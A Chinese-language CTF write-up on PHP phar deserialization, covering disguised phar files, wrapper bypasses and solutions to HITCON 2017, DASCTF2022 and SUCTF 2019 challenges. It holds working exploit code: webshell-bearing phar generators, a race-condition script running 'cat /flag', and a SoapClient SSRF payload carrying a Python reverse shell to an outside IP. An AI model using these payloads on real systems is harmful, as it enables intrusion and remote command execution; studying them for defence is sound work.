Phar反序列化
phar文件的构成
1.stub :phar文件标识
1
2
3
4
5
|
<?php
Phar::mapPhar();
include 'phar://phar.phar/index.php';
__HALT_COMPILER();
?>
|
可以理解为一个标志,格式为xxx
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。也就是说如果我们留下这个标志位,构造一个图片或者其他文件,那么可以绕过上传限制,并且被 phar 这函数识别利用。
2. a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
3. the file contents
被压缩文件的内容。
4. [optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾,格式如下:

我们利用的就是倒数第二行的这个
先要把php.ini里面的phar.randonly设置修改成off
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
<?php
//一个类
class Test {
public $testdata;
public function test_it() {
echo 1;
}
}
//类的实例化对象
$obj = new Test();
//尝试删除phar.phar文件,防止已经存在的phar.phar文件阻止新的phar文件生成
@unlink("phar.phar");
//生成phar时,文件的后缀名必须为phar
$phar = new Phar("phar.phar");
$phar->startBuffering();
//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");
//将自定义的meta-data存入manifest,这个是利用的重点
$phar->setMetadata($obj);
//添加要压缩的文件,这个文件可以不存在,但这句语句不能少
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>
|
就生成了phar.phar
010查看

将其分为四个部分,可以看到序列化的对象放在第二部分
下面这个序列化对象跟直接序列化得出的结果一致
注意到stub部分是可控的
我们就可以利用它绕过文件上传限制,改变文件类型
将phar伪造成其他格式的文件
前面我们刚刚说了,我们可以 phar 文件必须以__HALT_COMPILER();?>
来结尾,那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。因此假设这里我们构造一个带有图片文件头部的 phar 文件。
1
2
|
//设置stub
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
|
只有这里要改,此时文件MIME类型会为image/gif

可以用include包含phar://phar.phar
触发反序列化的文件操作函数
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

这里通过一个demo论证一下上述结论。仍然以上面的phar文件为例
1
2
3
4
5
6
7
8
9
10
11
12
|
<?php
class TestObject {
public function __destruct() {
echo $this->data;
echo 'Destruct called';
}
}
$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>
|
这里可以看到已经反序列化成功触发__destruct
方法并且读取了文件内容。
其他函数也是可以的,就不一一试了,
如果题目限制了,phar://
不能出现在头几个字符。可以用Bzip / Gzip
协议绕过。
1
|
$filename = 'compress.zlib://phar://phar.phar/test.txt';
|
虽然会警告但仍会执行,它同样适用于compress.bzip2://
。
当文件系统函数的参数可控时,我们可以在不调用unserialize()
的情况下进行反序列化操作,极大的拓展了反序列化攻击面。
其他伪协议配合phar伪协议
php://filter/read
1
|
php://filter/read=convert.base64-encode/resource=phar://phar.txt
|
php://filter/resource
1
|
php://filter/resource=phar://phar.txt/test.txt
|
compress.zlib://
1
|
compress.zlib://phar://phar.txt/test.txt
|
compress.bzip://
要开Bzip / Gzip 扩展
1
|
compress.bzip://phar://phar.txt/test.txt
|
compress.bzip2://
1
|
compress.bzip2://phar://phar.txt/test.txt
|
利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
//一个类
class Test {
public $testdata = "OK";
public function test_it() {
echo $this->testdata;
}
function __destruct()
{
echo $this->testdata;
}
}
file_exists('phar://phar.phar');
?>
|
以这个demo为例,我们想要变量覆盖testdata
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
<?php
//一个类
class Test {
public $testdata = "OK";
public function test_it() {
echo $this->testdata;
}
function __destruct()
{
echo $this->testdata;
}
}
//类的实例化对象
$obj = new Test();
//修改可控变量内容
$obj->testdata = "I need to change 'OK' to 'OoooooooK'";
//尝试删除phar.phar文件,防止已经存在的phar.phar文件阻止新的phar文件生成
@unlink("phar.phar");
//生成phar时,文件的后缀名必须为phar
$phar = new Phar("phar.phar");
$phar->startBuffering();
//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");
//将自定义的meta-data存入manifest,这个是利用的重点
$phar->setMetadata($obj);
//添加要压缩的文件,这个文件可以不存在,但这句语句不能少
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>
|
结果成功覆盖
例题1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
if(isset($_GET['filename'])){
$filename=$_GET['filename'];
class MyClass{
var $output='echo "hahaha"';
function __destruct()
{
eval($this->output);
}
}
file_exists($filename);
}
else{
highlight_file(__FILE__);
}
|
这题可以直接生成phar文件,利用文件上传功能,结合file_exists
函数进行phar反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<?php
// phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
class MyClass{
var $output = '@eval($_GET[_]);';
}
$o = new MyClass();
$filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>
|
生成完改后缀为gif,然后output就被覆盖成木马了
例题2:[HITCON 2017]Baby^h Master PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
|
<?php
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);
if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("sha1", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}
class Admin extends User {
function __destruct() {
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function my_function_$random() {"
. " global \$FLAG; \$FLAG();"
. "}");
$_GET["lucky"]();
}
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) {
die("Bye");
}
if (!hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac)) {
die("Bye Bye");
}
$data = unserialize($data);
if (!isset($data->avatar)) {
die("Bye Bye Bye");
}
return $data->avatar;
}
function upload($path) {
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a") {
die("Fuck off");
}
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}
function show($path) {
if (!file_exists($path . "/avatar.gif")) {
$path = "/var/www/html";
}
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}
$mode = $_GET["m"];
if ($mode == "upload") {
upload(check_session());
} else if ($mode == "show") {
show(check_session());
} else {
echo "IP:".$_SERVER["REMOTE_ADDR"];
echo "Sandbox:"."/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
highlight_file(__FILE__);
}
|
这里的admin类有eval函数可以拿flag,但是random变量我们得不到,样也就无法获得 flag,所以我们要通过匿名类的名字来调用 flag 生成函数。
我们看看create_function
函数的内核源码( php-src/Zend/zend_builtin_functions.c:1901 )

可以看到匿名函数的名字类似于 \0lambda_%d
,其中%d
为数字,取决于进程中匿名函数的个数,但是我们每访问一次题目,就会生成一个匿名函数,这样匿名函数的名字就不好控制。这里,我们便要引入 apache-prefork
模型
当用户请求过大时,超过 apache 默认设定的阀值时,就会启动新的线程来处理请求,此时在新的线程中,匿名函数的名字又会从1开始递增,这样我们就容易猜测匿名函数的名字了。
Apache-prefork模型
Apache-prefork模型(默认模型)在接受请求后会如何处理,首先Apache会默认生成5个child server去等待用户连接, 默认最高可生成256个child server, 这时候如果用户大量请求, Apache就会在处理完MaxRequestsPerChild个tcp连接后kill掉这个进程,开启一个新进程处理请求(这里猜测Orange大大应该修改了默认的0,因为0为永不kill掉子进程 这样就无法fork出新进程了) 在这个新进程里面匿名函数就会是从1开始的了
然后data
变量可控,上面一个data需要secret的值,不然不能通过hash_equals函数的校验
下面一个上传gif的功能且data同样可控,可以打phar反序列化,要求url传入,我们要在vps上面传入一个phar文件,接着用题目的上传功能进行反序列化
POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<?php
class User {
public $avatar;
function __construct() {
$this->avatar = 'avatar.gif';
}
}
class Admin extends User {}
$o = new Admin();
$filename = 'avatar.phar';
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>
|
上面的类可以简化为
1
2
3
|
class Admin {
public $avatar='xxxx';
}
|
生成后改后缀为gif上传到vps上面
然后传参
1
|
?m=upload&url=http://47.122.53.248
|
后面会自动拼接/avatar.gif
接着,我们需要通过大量请求,使 apache 重新开启一个新的线程,下面用脚本发送请求
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass
def run(i):
while 1:
HOST = 'http://f74e1cf5-bfea-43ab-b245-a74909602705.node5.buuoj.cn'
PORT = 81
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('GET /avatar.gif HTTP/1.1\nHost: http://f74e1cf5-bfea-43ab-b245-a74909602705.node5.buuoj.cn\nConnection: Keep-Alive\n\n')
# s.close()
print ('ok')
time.sleep(0.5)
i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)
|
最后再访问
1
|
?m=upload&url=phar:///var/www/data/1feb13d43096d650c715402976792464/&lucky=%00lambda_1
|
最后一个参数是因为匿名函数被调用新线程从1开始
这里可能上面的是我host和port有问题
我们直接批量访问上面的这个url也是一样的效果
1
2
3
4
5
6
7
8
9
10
11
12
|
import requests
url = 'http://f74e1cf5-bfea-43ab-b245-a74909602705.node5.buuoj.cn:81/?m=upload&url=phar:///var/www/data/1feb13d43096d650c715402976792464/&lucky=%00lambda_1'
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0',
'Cookie': 'session-data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A6%3A%22avatar%22%3Bs%3A46%3A%22%2Fvar%2Fwww%2Fdata%2F1feb13d43096d650c715402976792464%22%3B%7D-----827f6bcfbfcfb178de59d8468e37c44c8e7be4b1'
}
while True:
r =requests.get(url,headers=header)
if 'flag' in r.text:
print(r.text)
|
例题3:[DASCTF2022.07赋能赛]Ez to getflag
非预期,直接读/flag就出来了
预期解
抓包看到file.php,由于前面看出来可以任意文件读取,我们直接读file.php
1
2
3
4
5
6
7
8
|
<?php
error_reporting(0);
session_start();
require_once('class.php');
$filename = $_GET['f'];
$show = new Show($filename);
$show->show();
?>
|
看到包含了class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
|
<?php
class Upload {
public $f;
public $fname;
public $fsize;
function __construct(){
$this->f = $_FILES;
}
function savefile() {
$fname = md5($this->f["file"]["name"]).".png";
if(file_exists('./upload/'.$fname)) {
@unlink('./upload/'.$fname);
}
move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);
echo "upload success! :D";
}
function __toString(){
$cont = $this->fname;
$size = $this->fsize;
echo $cont->$size;
return 'this_is_upload';
}
function uploadfile() {
if($this->file_check()) {
$this->savefile();
}
}
function file_check() {
$allowed_types = array("png");
$temp = explode(".",$this->f["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
echo "what are you uploaded? :0";
return false;
}
else{
if(in_array($extension,$allowed_types)) {
$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
$f = file_get_contents($this->f["file"]["tmp_name"]);
if(preg_match_all($filter,$f)){
echo 'what are you doing!! :C';
return false;
}
return true;
}
else {
echo 'png onlyyy! XP';
return false;
}
}
}
}
class Show{
public $source;
public function __construct($fname)
{
$this->source = $fname;
}
public function show()
{
if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
die('illegal fname :P');
} else {
echo file_get_contents($this->source);
$src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
echo "<img src={$src} />";
}
}
function __get($name)
{
$this->ok($name);
}
public function __call($name, $arguments)
{
if(end($arguments)=='phpinfo'){
phpinfo();
}else{
$this->backdoor(end($arguments));
}
return $name;
}
public function backdoor($door){
include($door);
echo "hacked!!";
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
die("illegal fname XD");
}
}
}
class Test{
public $str;
public function __construct(){
$this->str="It's works";
}
public function __destruct()
{
echo $this->str;
}
}
?>
|
开始构造链子
1
|
Test::__destruct() ---》 Upload::__toString() ---》 Show::__get() ---》 Show::__call
|
关于__toString
这里
1
2
3
4
5
6
|
function __toString(){
$cont = $this->fname;
$size = $this->fsize;
echo $cont->$size;
return 'this_is_upload';
}
|
这里$cont->$size意思并不是对象$cont里面的size变量,而是读取对象$cont里面名为$size的变量
这里最终是要触发show类里面的backdoor函数,让它包含我们的命令
所以我们给fname赋值为new show()
而fsize就是backdoor函数接收的参数,只要不填show类已有的参数,就会触发__get
方法
先填phpinfo测试
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
<?php
class Upload {
public $fname;
public $fsize;
function __toString(){
$cont = $this->fname;
$size = $this->fsize;
echo $cont->$size;
return 'this_is_upload';
}
}
class Show{
function __get($name)
{
$this->ok($name);
}
public function __call($name, $arguments)
{
if(end($arguments)=='phpinfo'){
phpinfo();
}else{
$this->backdoor(end($arguments));
}
return $name;
}
}
class Test{
public $str;
public function __destruct()
{
echo $this->str;
}
}
$o=new Test();
$o->str=new Upload();
$o->str->fname=new Show();
$o->str->fsize='phpinfo';
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
//设置stub
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
//将自定义的meta-data存入manifest,这个是利用的重点
$phar->setMetadata($o);
//添加要压缩的文件,这个文件可以不存在,但这句语句不能少
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>
|
然后使用gzip压缩phar.phar(这里利用了一个特性:gzip压缩后不影响phar://的利用)
因为Upload类中的file_check方法会对文件内容进行检查,gzip压缩后就可以绕过
当然也可以用文章前面部分提及的compress.bzip://
或compress.bzip2://
,这里没有限制
1
|
想要利用压缩 phar,需要启用 zlib 和 bzip2 扩展。 此外,想要利用 OpenSSL 签名,需要开启 OpenSSL 扩展才能使用。
|
直接在linux终端用gzip命令,然后改名为png上传
然后传参
1
|
/file.php?f=phar://upload/ed54ee58cd01e120e27939fe4a64fa92.png&_=1742392548518
|
后面这个是phar.png的MD5值
弹出phpinfo界面后,可以直接将exp的fsize改成/flag
官方wp是利用条件竞争打session文件包含
先把上面的exp改为'/tmp/sess_chaaa'
然后脚本条件竞争
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
import sys,threading,requests,re
from hashlib import md5
HOST = sys.argv[1]
PORT = sys.argv[2]
flag=''
check=True
# 触发phar文件反序列化去包含session上传进度文件
def include(fileurl,s):
global check,flag
while check:
fname = md5('shell.png'.encode('utf-8')).hexdigest()+'.png'
params = {
'f': 'phar://upload/'+fname
}
res = s.get(url=fileurl, params=params)
if "working" in res.text:
flag = re.findall('upload_progress_working(DASCTF{.+})',res.text)[0]
check = False
# 利用session.upload.progress写入临时文件
def sess_upload(url,s):
global check
while check:
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'working',system('cat /flag');?>\"); ?>"
}
cookies={
'PHPSESSID': 'chaaa'
}
files={
'file': ('chaaa.png', b'cha'*300)
}
s.post(url=url,data=data,cookies=cookies,files=files)
def exp(ip, port):
url = "http://"+ip+":"+port+"/"
fileurl = url+'file.php'
uploadurl = url+'upload.php'
num = threading.active_count()
# 上传phar文件
file = {'file': open('./shell.png', 'rb')}
ret = requests.post(url=uploadurl, files=file)
# 文件上传条件竞争获取flag
event=threading.Event()
s1 = requests.Session()
s2 = requests.Session()
for i in range(1,10):
threading.Thread(target=sess_upload,args=(uploadurl,s1)).start()
for i in range(1,10):
threading.Thread(target=include,args=(fileurl,s2,)).start()
event.set()
while threading.active_count() != num:
pass
if __name__ == '__main__':
exp(HOST, PORT)
print(flag)
|
这里有另一种办法
先上传一个base64编码的php文件
1
2
|
PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==
//<?php system('cat /flag');?>
|
改为1.png,前下的fsize改为
1
|
php://filter/read=convert.base64-decode/resource=upload/4a47a0db6e60853dedfcfdf08a5ca249.png
|
然后传参
1
|
file.php?f=phar://upload/ed54ee58cd01e120e27939fe4a64fa92.png
|
就拿到flag了
导致phar触发的其他地方(sql)
Postgres
1
2
3
|
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "test", "root", "root"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
|
当然,pgsqlCopyToFile和pg_trace同样也是能使用的,只是它们需要开启phar的写功能。
MySQL
LOAD DATA LOCAL INFILE
也会触发phar造成反序列化,下面有mysql服务伪造结合phar反序列化的题目
例题:[SUCTF 2019]Upload Labs
buu把admin.php里面的destruct方法的内容改了,但是__destruct
方法不用mysql服务伪造就可以执行,就造成非预期,想要预期解只能把源码改为用__wakeup
方法,打两次phar反序列化
admin.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
<?php
include 'config.php';
class Ad{
public $cmd;
public $clazz;
public $func1;
public $func2;
public $func3;
public $instance;
public $arg1;
public $arg2;
public $arg3;
function __construct($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){
$this->cmd = $cmd;
$this->clazz = $clazz;
$this->func1 = $func1;
$this->func2 = $func2;
$this->func3 = $func3;
$this->arg1 = $arg1;
$this->arg2 = $arg2;
$this->arg3 = $arg3;
}
function check(){
$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}
function __destruct(){
system($this->cmd);
}
}
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){
$cmd = $_POST['cmd'];
$clazz = $_POST['clazz'];
$func1 = $_POST['func1'];
$func2 = $_POST['func2'];
$func3 = $_POST['func3'];
$arg1 = $_POST['arg1'];
$arg2 = $_POST['arg2'];
$arg2 = $_POST['arg3'];
$admin = new Ad($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}
}
else {
echo "You r not admin!";
}
|
class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
<?php
include 'config.php';
class File{
public $file_name;
public $type;
public $func = "Check";
function __construct($file_name){
$this->file_name = $file_name;
}
function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}
function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}
function __toString(){
return $this->type;
}
}
class Check{
public $file_name;
function __construct($file_name){
$this->file_name = $file_name;
}
function check(){
$data = file_get_contents($this->file_name);
if (mb_strpos($data, "<?") !== FALSE) {
die("<? in contents!");
}
}
}
|
config.php里面libxml_disable_entity_loader(true);
不能xxe了
func.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<?php
include 'class.php';
if (isset($_POST["submit"]) && isset($_POST["url"])) {
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!");
}else{
$file_path = $_POST['url'];
$file = new File($file_path);
$file->getMIME();
echo "<p>Your file type is '$file' </p>";
}
}
?>
|
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
<?php
include 'class.php';
$userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
if (isset($_POST["upload"])) {
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$temp = explode(".", $file_name);
$extension = end($temp);
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts)
) {
$c = new Check($tmp_name);
$c->check();
if ($_FILES["file"]["error"] > 0) {
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
die();
} else {
move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension);
echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension;
}
} else {
echo "非法的文件格式";
}
}
|
Ad类里面有
1
2
3
|
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){
$cmd = $_POST['cmd'];
|
想到打ssrf
先看上面的check函数逻辑
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
function check(){
$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}
|
在这里通过反射来调用类中的方法,调用后大概是这样
1
2
3
4
5
6
7
8
9
10
11
|
Class clazz{
function func1($arg1){
...
}
function func2($arg2){
...
}
function func3($arg3){
...
}
}
|
我们可以寻找一个存在单参数方法的原生类,这里用到了SplDoublyLinkedList::unshift
1
|
clazz=SplDoublyLinkedList&func1=unshift&func2=unshift&func3=unshift&arg1=1&arg2=2&arg3=3
|
或者用SplStack类和它的push方法
1
|
clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=123456
|
查看func.php,里面调用了getMIME()
跟进看到finfo_file
函数可以phar反序列化,同时要绕过func.php里面的正则,要用php://filter伪协议
在class.php里面有个__wakeup()
在我们上面反序列化后触发
1
2
3
4
5
|
function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}
|
由于要打ssrf,想到原生类SoapClient,而且下面$a->check();
会触发SoapClient
内置的__call
方法
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<?php
class File{
public $file_name;
public $func="SoapClient";
public function __construct(){
$payload='admin=1&cmd=python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.122.53.248",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=123456';
$this->file_name=[null,array('location'=>'http://127.0.0.1/admin.php','user_agent'=>"xxx\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($payload)."\r\n\r\n".$payload,'uri'=>'abc')];
}
}
$a=new File();
@unlink("1.phar");
$phar=new Phar("1.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'.'<script language="php">__HALT_COMPILER();</script>');
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
|
改名为1.gif上传,然后在func.php下面传入下面payload触发phar反序列化弹shell
1
|
php://filter/resource=phar://upload/fc3f8d0d99ccdde85c8cfc624fe94c32/b5e9b4f86ce43ca65bd79c894c4a924c.gif
|
